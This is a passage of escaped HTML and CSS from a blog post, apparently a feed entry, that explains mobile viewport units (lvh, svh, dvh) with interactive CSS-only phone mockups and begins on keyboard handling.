flex;&#xD;&#xA;      &amp;&gt;div {&#xD;&#xA;        margin-top: 7px;&#xD;&#xA;        opacity: 1;&#xD;&#xA;        @starting-style {&#xD;&#xA;          margin-top: -4px;&#xD;&#xA;          opacity: 0;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      @starting-style {&#xD;&#xA;       opacity: 0;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    phone-notifications {&#xD;&#xA;      transition: 0s 0.2s display allow-discrete, 0.2s opacity;&#xD;&#xA;      opacity: 0;&#xD;&#xA;      -webkit-user-select: none;&#xD;&#xA;      user-select: none;&#xD;&#xA;      display: none;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      align-items: center;&#xD;&#xA;      position: absolute;&#xD;&#xA;      background: #0009;&#xD;&#xA;      backdrop-filter: blur(4px);&#xD;&#xA;      width: 100%;&#xD;&#xA;      top: 29px;&#xD;&#xA;      height: calc(100% - 29px);&#xD;&#xA;      z-index: 10;&#xD;&#xA;      color: #FFF;&#xD;&#xA;      &amp;&gt;div {&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        --h: 0;&#xD;&#xA;        &amp;:nth-child(1) { --h: 0; }&#xD;&#xA;        &amp;:nth-child(2) { --h: 60; }&#xD;&#xA;        &amp;:nth-child(3) { --h: 120; }&#xD;&#xA;        &amp;:nth-child(4) { --h: 180; }&#xD;&#xA;        &amp;:nth-child(5) { --h: 240; }&#xD;&#xA;        &amp;:nth-child(6) { --h: 300; }&#xD;&#xA;        &amp;:nth-child(7) { --h: 340; }&#xD;&#xA;        &amp;&gt;span {&#xD;&#xA;          flex-shrink: 0;&#xD;&#xA;          height: 32px;&#xD;&#xA;          width: 32px;&#xD;&#xA;          border-radius: 28px;&#xD;&#xA;          margin: 8px;&#xD;&#xA;          line-height: 32px;&#xD;&#xA;          text-align: center;&#xD;&#xA;          background: hsl(from #F6D2EC calc(h + var(--h)) s l);&#xD;&#xA;          color: hsl(from #7B1C66 calc(h + var(--h)) s l);&#xD;&#xA;        }&#xD;&#xA;        &amp;&gt;div {&#xD;&#xA;          &amp;&gt;div {&#xD;&#xA;            font-size: 12px;&#xD;&#xA;            font-weight: 500;&#xD;&#xA;          }&#xD;&#xA;          font-size: 10px;&#xD;&#xA;          margin-top: -2px;&#xD;&#xA;        }&#xD;&#xA;        margin-top: -4px;&#xD;&#xA;        background: #0009;&#xD;&#xA;        width: 90%;&#xD;&#xA;        height: 48px;&#xD;&#xA;        border-radius: 40px;&#xD;&#xA;        transition: 0.2s margin-top, 0.2s opacity;&#xD;&#xA;        @starting-style {&#xD;&#xA;          margin-top: -4px;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    phone-content {&#xD;&#xA;      display: block;&#xD;&#xA;      flex: 1;&#xD;&#xA;      overflow-y: auto;&#xD;&#xA;      overscroll-behavior-y: none;&#xD;&#xA;      scrollbar-width: none;&#xD;&#xA;      ul {&#xD;&#xA;        margin: 0;&#xD;&#xA;        padding: 0;&#xD;&#xA;        li {&#xD;&#xA;          display: inline;&#xD;&#xA;          a {&#xD;&#xA;            color: #4f4f63;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    phone-urlbar {&#xD;&#xA;      color: #E3E2E6;&#xD;&#xA;      position: relative;&#xD;&#xA;      display: flex;&#xD;&#xA;      height: 34px;&#xD;&#xA;      width: calc(100% - 12px);&#xD;&#xA;      padding: 6px;&#xD;&#xA;      font-family: system-ui, sans-serif;&#xD;&#xA;      transition: background 0.4s;&#xD;&#xA;      background: #121316;&#xD;&#xA;      font-size: 12px;&#xD;&#xA;      align-items: center;&#xD;&#xA;      gap: 8px;&#xD;&#xA;      phone-urlbar-inner {&#xD;&#xA;        height: 34px;&#xD;&#xA;        border-radius: 17px;&#xD;&#xA;        width: 100%;&#xD;&#xA;        transition: background 0.2s, border-radius 0.2s, font-size 0.4s;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        background: #313745;&#xD;&#xA;        color: #C4C6D0;&#xD;&#xA;        &amp;:hover {&#xD;&#xA;          background: #191C21;&#xD;&#xA;          border-radius: 8px;&#xD;&#xA;        }&#xD;&#xA;        ::selection {&#xD;&#xA;          color: #E3E2E6;&#xD;&#xA;          background-color: #373E4D;&#xD;&#xA;        }&#xD;&#xA;        svg {&#xD;&#xA;          width: 16px;&#xD;&#xA;          height: 16px;&#xD;&#xA;          fill: #E3E2E6;&#xD;&#xA;          background: #0000;&#xD;&#xA;          margin: 5px;&#xD;&#xA;          padding: 4px;&#xD;&#xA;          padding-left: 1px;&#xD;&#xA;          position: absolute;&#xD;&#xA;          display:block;&#xD;&#xA;          border-radius: 24px;&#xD;&#xA;        }&#xD;&#xA;        &amp; &gt; span {&#xD;&#xA;          text-overflow: ellipsis;&#xD;&#xA;          overflow:hidden;&#xD;&#xA;          white-space:nowrap;&#xD;&#xA;          display:inline-block;&#xD;&#xA;          margin-left:26px;&#xD;&#xA;          &amp; &gt; span {&#xD;&#xA;            color: #E3E2E6;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;clickbait-circle {&#xD;&#xA;  display: block;&#xD;&#xA;  position: absolute;&#xD;&#xA;  width: 48px;&#xD;&#xA;  height: 48px;&#xD;&#xA;  border: 4px solid #cb6801;&#xD;&#xA;  border-radius: 128px;&#xD;&#xA;  z-index: 5;&#xD;&#xA;  pointer-events: none;&#xD;&#xA;}&#xD;&#xA;smol-arrow {&#xD;&#xA;  pointer-events: none;&#xD;&#xA;  position: absolute;&#xD;&#xA;  z-index: 5;&#xD;&#xA;  width: 10px;&#xD;&#xA;  height: 10px;&#xD;&#xA;  display: block;&#xD;&#xA;  border: 4px solid;&#xD;&#xA;  border-width: 3px 3px 0 0;&#xD;&#xA;  rotate: -45deg;&#xD;&#xA;  translate: 4px 4px;&#xD;&#xA;  &amp;[down] {&#xD;&#xA;    rotate: 135deg;&#xD;&#xA;    translate: 4px -4px;&#xD;&#xA;  }&#xD;&#xA;  &amp;[line] {&#xD;&#xA;    border-width: 0 3px 0 0;&#xD;&#xA;    translate: -1px 2px;&#xD;&#xA;    rotate: 0deg;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div style=&#34;display:flex;flex-wrap: wrap;justify-content:center;gap:24px&#34;&gt;&#xD;&#xA;&lt;epic-phone aria-label=&#34;A phone displaying a web page cut off from the top and bottom&#34; role=&#34;figure&#34;&gt;&lt;phone-screen style=&#34;position:relative&#34;&gt;&lt;phone-navbar aria-hidden=true&gt;&lt;span&gt;•&lt;/span&gt;&lt;span data-battery&gt;75&lt;/span&gt;&lt;/phone-navbar&gt;&#xD;&#xA;&lt;!--&#xD;&#xA;&lt;clickbait-circle style=&#34;top:46px;left:134px;scale:1.25 0.75&#34;&gt;&lt;/clickbait-circle&gt;&#xD;&#xA;&lt;clickbait-circle style=&#34;bottom:-3px;left:70px;scale:1.75 0.75&#34;&gt;&lt;/clickbait-circle&gt;&#xD;&#xA;--&gt;&#xD;&#xA;&lt;phone-notifications&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;CB&lt;/span&gt;&lt;div&gt;&lt;div&gt;Signal chat&lt;/div&gt;Are you feeling encrypted?&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;M&lt;/span&gt;&lt;div&gt;&lt;div&gt;Marat&lt;/div&gt;it smells of onions in here...&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;bm&lt;/span&gt;&lt;div&gt;&lt;div&gt;blackle mori&lt;/div&gt;what&#39;s the scoop in yer smacker, horseberry?&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;R&lt;/span&gt;&lt;div&gt;&lt;div&gt;Rhynorater&lt;/div&gt;CSS go BRRRRR&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;P&lt;/span&gt;&lt;div&gt;&lt;div&gt;PatTheHyruler&lt;/div&gt;I just lost the game&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;M&lt;/span&gt;&lt;div&gt;&lt;div&gt;Malk&lt;/div&gt;I can&#39;t wait to taste the sorbet!&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/phone-notifications&gt;&#xD;&#xA;&lt;phone-content style=&#34;position:relative;background:hsl(from #8CFFDB h calc(s - 30) calc(l))&#34;&gt;&#xD;&#xA;&lt;phone-urlbar aria-label=&#34;URL bar&#34; role=&#34;figure&#34; style=&#34;position:absolute;z-index: 1&#34;&gt;&lt;phone-urlbar-inner&gt;&lt;div class=&#34;svgFallback&#34; style=&#34;position:absolute;translate: 8px 0;&#34;&gt;🔒&lt;/div&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;span&gt;&lt;span&gt;lyra.horse&lt;/span&gt;/blog/&lt;/span&gt;&lt;/phone-urlbar-inner&gt;&lt;!--&lt;div style=&#34;border-radius:6px;border: 2px solid;width:15px;height:12px;font-size:9px;user-select:none;text-align: center;font-weight:600;line-height: 12px;&#34;&gt;:D&lt;/div&gt;--&gt;&lt;a href=&#34;https://youtu.be/7zbNBCb_AOU&#xD;&#xA;&#34; style=&#34;rotate:90deg;user-select:none;margin:0 4px 0 2px;color:inherit&#34; target=_blank&gt;•••&lt;/a&gt;&lt;/phone-urlbar&gt;&#xD;&#xA;&lt;div style=&#34;height:32px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div style=&#34;font-family: Bahnschrift, &#39;DIN Alternate&#39;, &#39;Franklin Gothic Medium&#39;, &#39;Nimbus Sans Narrow&#39;, sans-serif-condensed, sans-serif;font-size: 20px;font-weight: bold;border-bottom: 1px solid #222&#34;&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&#34;https://lyra.horse/blog/blog/&#34; style=&#34;color:#007A1B&#34; target=_blank&gt;lyra&#39;s epic blog&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#34;https://lyra.horse/blog/blog/posts/&#34; target=_blank&gt;posts&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#34;https://lyra.horse/blog/blog/tags/&#34; target=_blank&gt;tags&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&#xD;&#xA;&lt;p style=&#34;font-family:var(--font-head);color:#04593b;margin:0;text-align:center;font-size:120%&#34;&gt;You no longer need JavaScript&lt;/p&gt;&#xD;&#xA;&lt;p style=&#34;font-size:75%;margin:0 16px&#34;&gt;yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap yap&lt;/p&gt;&#xD;&#xA;&lt;/phone-content&gt;&#xD;&#xA;&lt;div style=&#34;background:#FFF;height:32px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;/phone-screen&gt;&lt;/epic-phone&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Where it becomes a bit more nuanced is on mobile devices. For example, mobile versions of both Firefox and Chrome will hide the URL bar when scrolling down on a page.&lt;/p&gt;&#xA;&lt;p&gt;This causes the vw/vh units to be a bit ambigous - do they represent the &lt;em&gt;entire&lt;/em&gt; available screen, only the area that&amp;rsquo;s visible with the URL bar, or something in between?&lt;/p&gt;&#xA;&lt;p&gt;If it&amp;rsquo;s the first option, you might end up with buttons or links off-screen&lt;sup id=&#34;fnref:11&#34;&gt;&lt;a href=&#34;#fn:11&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;11&lt;/a&gt;&lt;/sup&gt;! If it&amp;rsquo;s the second, you may end up with a background div that doesn&amp;rsquo;t cover the entire background.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;&#xD;&#xA;  @property --minutes {&#xD;&#xA;    syntax: &#39;&lt;integer&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: 0;&#xD;&#xA;  }&#xD;&#xA;  @keyframes minutes {&#xD;&#xA;    from {&#xD;&#xA;      --minutes: 0;&#xD;&#xA;    }&#xD;&#xA;    to {&#xD;&#xA;      --minutes: 60;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  phone-navbar &gt; :first-child {&#xD;&#xA;    --minutes: 0;&#xD;&#xA;    animation: 3600s steps(60, jump-end) infinite minutes;&#xD;&#xA;    animation-fill-mode: forwards;&#xD;&#xA;    animation-delay: -2222s;&#xD;&#xA;    &amp;::before {&#xD;&#xA;      --d1: round(down, var(--minutes) / 10, 1);&#xD;&#xA;      --d2: mod(var(--minutes),10);&#xD;&#xA;      counter-reset: d1 var(--d1) d2 var(--d2);&#xD;&#xA;      content: &#34;13:&#34; counter(d1) counter(d2) &#34; &#34;;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  phone-content {&#xD;&#xA;    &amp;:has(.scroll-up:active) {&#xD;&#xA;      scroll-behavior: smooth;&#xD;&#xA;      scroll-snap-type: y mandatory;&#xD;&#xA;      phone-urlbar {&#xD;&#xA;        scroll-snap-align: start;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(.scroll-down:active) {&#xD;&#xA;      scroll-behavior: smooth;&#xD;&#xA;      scroll-snap-type: y mandatory;&#xD;&#xA;      .scroll-up {&#xD;&#xA;        scroll-snap-align: end;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    .scroll-btn {&#xD;&#xA;      display: none;&#xD;&#xA;      border-radius: 16px;&#xD;&#xA;      text-align: center;&#xD;&#xA;      rotate: 90deg;&#xD;&#xA;      line-height: 12px;&#xD;&#xA;      width: 24px;&#xD;&#xA;      height: 24px;&#xD;&#xA;    }&#xD;&#xA;    table {&#xD;&#xA;      border-collapse: collapse;&#xD;&#xA;      border: 2px solid #888;&#xD;&#xA;      th,td {&#xD;&#xA;        border: 1px solid #AAA;&#xD;&#xA;        padding: 8px 10px;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  unit-value {&#xD;&#xA;    --vhi: tan(atan2(var(--vh), 1px));&#xD;&#xA;    --lvhi: tan(atan2(var(--lvh), 1px));&#xD;&#xA;    --dvhi: tan(atan2(var(--dvh), 1px));&#xD;&#xA;    --svhi: tan(atan2(var(--svh), 1px));&#xD;&#xA;    &amp;[vh]::after {&#xD;&#xA;      counter-reset: vhi var(--vhi);&#xD;&#xA;      content: counter(vhi);&#xD;&#xA;    }&#xD;&#xA;    &amp;[lvh]::after {&#xD;&#xA;      counter-reset: lvhi var(--lvhi);&#xD;&#xA;      content: counter(lvhi);&#xD;&#xA;    }&#xD;&#xA;    &amp;[dvh]::after {&#xD;&#xA;      counter-reset: dvhi var(--dvhi);&#xD;&#xA;      content: counter(dvhi);&#xD;&#xA;    }&#xD;&#xA;    &amp;[svh]::after {&#xD;&#xA;      counter-reset: svhi var(--svhi);&#xD;&#xA;      content: counter(svhi);&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div style=&#34;display:flex;flex-wrap: wrap;justify-content:center;gap:24px&#34;&gt;&#xD;&#xA;&lt;epic-phone aria-label=&#34;A phone displaying the differences between the svh, dvh, and lvh units&#34; role=&#34;figure&#34; style=&#34;position:relative&#34;&gt;&lt;phone-screen style=&#34;position:relative&#34;&gt;&lt;phone-navbar aria-hidden=true&gt;&lt;span&gt;•&lt;/span&gt;&lt;span data-battery&gt;75&lt;/span&gt;&lt;/phone-navbar&gt;&#xD;&#xA;&lt;phone-notifications&gt;&#xD;&#xA;  &lt;div&gt;&lt;span style=&#34;line-height: 28px&#34;&gt;p&lt;/span&gt;&lt;div&gt;&lt;div&gt;pingotux&lt;/div&gt;css spec so good i transitioned&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span style=&#34;line-height: 30px&#34;&gt;m&lt;/span&gt;&lt;div&gt;&lt;div&gt;maya&lt;/div&gt;hi wife!!&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;Z&lt;/span&gt;&lt;div&gt;&lt;div&gt;Zvit&lt;/div&gt;lol. lmao, sogar.&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;!!&lt;/span&gt;&lt;div&gt;&lt;div&gt;!! HAND !!&lt;/div&gt;yap yap yap&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;J&lt;/span&gt;&lt;div&gt;&lt;div&gt;Jones&lt;/div&gt;Glory to KuK&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;S&lt;/span&gt;&lt;div&gt;&lt;div&gt;Spax&lt;/div&gt;im goop&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;div&gt;&lt;div&gt;enscribe&lt;/div&gt;I need a job&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;/phone-notifications&gt;&#xD;&#xA;&lt;div style=&#34;pointer-events:none;user-select:none&#34;&gt;&#xD;&#xA;  &lt;p style=&#34;position:absolute;z-index:3;translate:calc(100% + 2px) 0;right:24px;color:red;top:100px;&#34;&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p style=&#34;position:absolute;z-index:3;translate:calc(100% + 2px) 0;right:64px;color:orange;top:90px;&#34;&gt;dvh&lt;/p&gt;&#xD;&#xA;  &lt;p style=&#34;position:absolute;z-index:3;translate:calc(100% + 2px) 0;right:104px;color:green;top:80px;&#34;&gt;svh&lt;/p&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:24px;color:red;top:28px;&#34;&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:24px;color:red;top:30px;height:460px&#34; line&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:24px;color:red;bottom:-1px&#34; down&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:64px;color:orange;z-index:1;top:28px;&#34;&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:64px;color:orange;z-index:1;top:30px;height:460px&#34; line&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:64px;color:orange;bottom:-1px&#34; down&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:104px;color:green;top:74px;&#34;&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:104px;color:green;top:76px;height:calc(460px - 46px)&#34; line&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:104px;color:green;bottom:-1px&#34; down&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;phone-content style=&#34;position:relative&#34;&gt;&#xD;&#xA;&lt;phone-urlbar aria-label=&#34;URL bar&#34; role=&#34;figure&#34; style=&#34;position:absolute;z-index:2&#34;&gt;&lt;phone-urlbar-inner&gt;&lt;div class=&#34;svgFallback&#34; style=&#34;position:absolute;translate: 8px 0;&#34;&gt;🔒&lt;/div&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;span&gt;&lt;span&gt;lyra.horse&lt;/span&gt;/blog/&lt;/span&gt;&lt;/phone-urlbar-inner&gt;&lt;a href=&#34;https://soundcloud.com/prodlightnex/anything-but-job&#34; style=&#34;rotate:90deg;user-select:none;margin:0 4px 0 2px;color:inherit&#34; target=_blank&gt;•••&lt;/a&gt;&lt;/phone-urlbar&gt;&#xD;&#xA;&lt;div style=&#34;height:46px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;smol-arrow style=&#34;right:64px;color:orange;z-index:1;top:45px;box-shadow: 5px -5px 0 4px #FFF&#34;&gt;&lt;/smol-arrow&gt;&#xD;&#xA;&lt;button class=&#34;scroll-btn scroll-down&#34;&gt;➤ &lt;/button&gt;&#xD;&#xA;&lt;div style=&#34;margin:6px;font-size:75%;line-height:1&#34;&gt;&#xD;&#xA;  &lt;p&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;svh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;dvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;svh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;dvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;svh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;dvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;svh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;dvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;lvh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;svh&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;dvh&lt;/p&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p style=&#34;font-family:var(--font-head);color:#04593b;text-align:left;font-size:120%;margin: 4px&#34;&gt;Your values&lt;/p&gt;&#xD;&#xA;&lt;table style=&#34;margin: 4px&#34;&gt;&#xD;&#xA;  &lt;thead&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;Unit&lt;/th&gt;&#xD;&#xA;      &lt;th&gt;Value&lt;/th&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/thead&gt;&#xD;&#xA;  &lt;tbody&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;vh&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;&lt;unit-value vh&gt;&lt;/unit-value&gt;px&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;lvh&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;&lt;unit-value lvh&gt;&lt;/unit-value&gt;px&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;dvh&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;&lt;unit-value dvh&gt;&lt;/unit-value&gt;px&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;th&gt;svh&lt;/th&gt;&#xD;&#xA;      &lt;td&gt;&lt;unit-value svh&gt;&lt;/unit-value&gt;px&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/tbody&gt;&#xD;&#xA;&lt;/table&gt;&#xD;&#xA;&lt;p style=&#34;margin: 6px;font-size:75%;font-style: italic;color:#444;max-width:130px&#34;&gt;Above is a table of values your browser reports - if you&#39;re on mobile, try scrolling the blogpost up and down so that the URL bar hides and see how the numbers change.&lt;/p&gt;&#xD;&#xA;&lt;p style=&#34;margin: 6px;font-size:75%;font-style: italic;color:#444;max-width:130px&#34;&gt;The values are multiplied by 100 (eg 100vh is used instead of 1vh).&lt;/p&gt;&#xD;&#xA;&lt;button class=&#34;scroll-btn scroll-up&#34; style=&#34;rotate:-90deg&#34;&gt;➤ &lt;/button&gt;&#xD;&#xA;&lt;/phone-content&gt;&#xD;&#xA;&lt;/phone-screen&gt;&lt;/epic-phone&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The solution to this is to use the new responsive viewport units: &lt;strong&gt;lvh&lt;/strong&gt;, &lt;strong&gt;svh&lt;/strong&gt;, and &lt;strong&gt;dvh&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;lvh&lt;/strong&gt; stands for &lt;em&gt;largest&lt;/em&gt; viewport height, and thus is useful for things like backgrounds that you&amp;rsquo;d want to cover the entire screen with, and wouldn&amp;rsquo;t care about getting cut off.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;svh&lt;/strong&gt; stands for &lt;em&gt;smallest&lt;/em&gt; viewport height, and should be used for things that must always fit on the screen, such as buttons and links.&lt;/p&gt;&#xA;&lt;p&gt;And &lt;strong&gt;dvh&lt;/strong&gt; stands for &lt;em&gt;dynamic&lt;/em&gt; viewport height - this one will update to whatever the current viewport height is. It might seem like the obvious choice, but it should not be used for elements you don&amp;rsquo;t want resizing or moving around as the user scrolls the page, as it could become quite annoying and possibly even laggy otherwise.&lt;/p&gt;&#xA;&lt;p&gt;Of course, the respective &lt;strong&gt;lvw&lt;/strong&gt;, &lt;strong&gt;svw&lt;/strong&gt;, and &lt;strong&gt;dvw&lt;/strong&gt; units exist too :).&lt;/p&gt;&#xA;&lt;h3 id=&#34;keyboard-cat&#34;&gt;Keyboard cat&lt;/h3&gt;&#xA;&lt;p&gt;By default, the viewport units do not account for the keyboard overlaying the page.&lt;/p&gt;&#xA;&lt;p&gt;There are two ways to deal with that: the &lt;em&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTML/Guides/Viewport_meta_element#interactive-widget&#34;&gt;interactive-widget&lt;/a&gt;&lt;/em&gt; attribute, and the &lt;em&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API&#34;&gt;VirtualKeyboard&lt;/a&gt;&lt;/em&gt; API.&lt;/p&gt;&#xA;&lt;p&gt;The former option is widely supported across browsers, works without JS, and goes in the meta viewport tag. It makes it so that opening the keyboard will change &lt;em&gt;all&lt;/em&gt; of the viewport units.&lt;/p&gt;&#xA;&lt;pre 